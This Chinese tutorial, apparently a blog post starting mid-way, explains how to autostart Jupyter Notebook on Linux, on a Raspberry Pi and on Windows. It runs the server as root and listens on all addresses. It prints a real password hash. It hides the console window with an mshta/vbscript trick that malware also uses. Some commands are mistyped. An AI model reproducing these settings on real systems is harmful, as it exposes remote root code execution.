ExecStart=/root/anaconda3/bin/jupyter-notebook –config=/root/.jupyter/jupyter_notebook_config.py –no-browser

WorkingDirectory=/root/anaconda3/bin/
#文件路径名
Restart=always
RestartSec=10
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure
RestartPreventExitStatus=255
Type=notify
#RuntimeDirectory=sshd
#RuntimeDirectoryMode=0755

 

[Install]
WantedBy=multi-user.target

3、添加权限并设置开机自启chmod +x /etc/jupyter.service

systemctl enable jupyter

systemctl start jupyter.service

检查状态:systemctl status jupyter.service

返回Active:active信息,则成功。

最后我们就可以在/etc/rc.local里,添加开机的自启命令什么的了。记住添加在exit 0之前。

注意:更改自启脚本后,需要重新运行一下命令已使其生效。systemctl enable jupyter

如果有更改服务配置文件test.service,需要执行以下命令

刷新:systemctl daemon-reload

启动:systemctl start jupyter.service

***另启动脚本

###########################自己改的jupyter启动程序 /etc/init.d/jupyter
#!/bin/sh
start()
{
echo “=========================”
echo “Jupyter notebook AutoStart”
echo “=========================”
}

status()
{
echo “jupyter notebook stauts”
systemctl status jupyter.service | grep “Active:”

}
stop()
{
echo “Stopping jupyter notebook”
kill $(ps aux|grep -m 1 ‘jupyter-notebook –allow-root’|awk ‘{ print $2}’)

}

case “$1” in
start)
echo “starting jupyter notebook”
jupyter notebook –allow-root &
;;
stop)
stop
;;
status)
status
;;
restart)
stop
start
;;
*)
echo “Usage: jupyter {start|stop|restart|status}”
;;
esac
exit 0

四、设置自启动

1 update-rc.d jupyter defaults

步骤二(Level 3 启动项后面增加软连接)

1 cd /etc/rc3.d/
2 ln -s ../init.d/jupyter S01jupyter

reboot 重启测试

二、树莓派安装

树莓派安装1> 树莓派原生OS不带pip工具,安装pip管理工具,原生OS上有两个python版本,需指定版本(python3-pip/python2-pip)

 

sudo apgget install python3-pip

2>切换root用户
notes:直接切换会报没权限错误,需先设置root密码,执行下列命令,然后设置密码;

 

sudo passwd root

执行“su 用户名”命令切换用户,后面执行所有的命令都是在Root管理者权限下执行,(在pi下不能实现自启动)

 

su root

安装配置jupyter

1 安装jupyter,国内镜像源下载会更块,-i参数指定 https://pypi.douban.com/simple/, 其中pyzmq-22.0.3-cp37-cp37m-linux_armv7l.whl包下载容易报错,建议电脑本地安装

 

pip3 install -i https://pypi.douban.com/simple/ jupyter

2配置jupyter
安装完成后,执行下列命令

 

  jupyter notebook --generate-config

此时在/root/下会生成一个/.jupyter文件夹

 

root@raspberrypi:~# ls -al
total 56
drwx------  6 root root  4096 Mar  8 07:17 .
drwxr-xr-x 18 root root  4096 Jan 11 05:15 ..
-rw-------  1 root root  3288 Mar  8 07:18 .bash_history
-rw-r--r--  1 root root   570 Dec  9 14:40 .bashrc
drwx------  3 root root  4096 Mar  8 06:14 .cache
drwx------  2 root root  4096 Mar  8 07:14 .jupyter
drwxr-xr-x  3 root root  4096 Mar  8 06:22 .local
-rw-r--r--  1 root root   148 Dec  9 14:40 .profile
-rw-------  1 root root    49 Mar  8 06:29 .python_history
-rw-------  1 root root 13803 Mar  8 07:17 .viminfo
drwx------  3 root root  4096 Mar  8 01:20 .vnc
root@raspberrypi:~# cd .jupyter/
root@raspberrypi:~/.jupyter# ls -al

终端输入,

 

jupyter notebook password

提示输入密码,此处会生成密钥保存json文件中,此处后面会用到

 

root@raspberrypi:~/.jupyter# ls -al
total 60
drwx------ 2 root root  4096 Mar  8 07:14 .
drwx------ 6 root root  4096 Mar  8 07:17 ..
-rw------- 1 root root   129 Mar  8 06:50 jupyter_notebook_config.json
-rw-r--r-- 1 root root 48533 Mar  8 07:14 jupyter_notebook_config.py

打开/.jupyter 文件后编辑“jupyter_notebook_config.py”

 

c.NotebookApp.ip='*'                                              //‘*’表示局域网内任意IP都可以访问,
c.NotebookApp.allow_remote_access=True         //表示接受远程连接
c.NotebookApp.password=u'argon2:$argon2id$v=19$m=10240,t=10,p=8$QImcaSHkIZuOzmZwNgduTQ$ZSHvDSq4OZNX8ZonXgnbuA'      //保存在Json文件中的密钥
c.NotebookApp.open_browser=False                   //默认不打开浏览器
c.NotebookApp.port=48888                                  //默认端口
c.NotebookApp.notebook_dir='/home/pi/'             //默认工作目录

设置自启动

此处有多种方法,
方法1>编辑/etc.rc.local 文件,在exit 0 前加入 “jupyter notebook –allow-root”

 

#!/bin/sh -e
# rc.local
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
# In order to enable or disable this script just change the execution
# bits.
# By default this script does nothing.
# Print the IP address
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
  printf "My IP address is %s\n" "$_IP"
fi
jupyter notebook --allow-root
exit 0

方法二
在/etc/init.d/文件夹下增加执行文件jupyter.init

 

#!/bin/bash
case "$1" in
     start)
         echo "starting jupyter notebook"
         jupyter notebook --allow-root &
         ;;
     stop)
        echo "stopping jupyter notebook"
        kill $(ps aux|grep -m 1 'jupyter-notebook --allow-root'|awk '{ print $2}')
        ;;
     *)
        echo "Usage: service jupyter notebook start|stop"
        exit 1
        ;;
esac
exit 0

添加执行权限

chmod +x /etc/init.d/jupyter.init

重启设备

#运行jupyter.init 文件
sudo service jupyter.init start
#终止jupyter.init 文件
sudo service jupyter.init stop

设置开机启动

sudo update-rc.d jupyter.init defaults

设置好后重启设备

三、WINDOWS脚本启动 jupyter notebok

在桌面新建文本文件 “jupyter.bat” (以bat结尾就行),输入以下代码,倒数第二行的D:\Jupyter_workspace修改为你想要作为根目录的路径

%隐藏cmd窗口%
@echo off
if “%1″==”h” goto begin
start mshta vbscript:createobject(“wscript.shell”).run(“””%~nx0″” h”,0)(window.close)&&exit
:begin
cd /d D:\Jupyter_workspace
jupyter notebook
双击该文件即可启动jupyter notebok,并且不会弹出命令行
————————————————

脚本关闭 jupyter notebok
新建文本文件 “Kill Jupyter.bat” (以bat结尾就行),输入以下代码:

%隐藏cmd窗口%
@echo off
if “%1″==”h” goto begin
start mshta vbscript:createobject(“wscript.shell”).run(“””%~nx0″” h”,0)(window.close)&&exit
:begin
taskkill /f /im jupyter-notebook.exe
双击该文件即可关闭 jupyter notebok
————————————————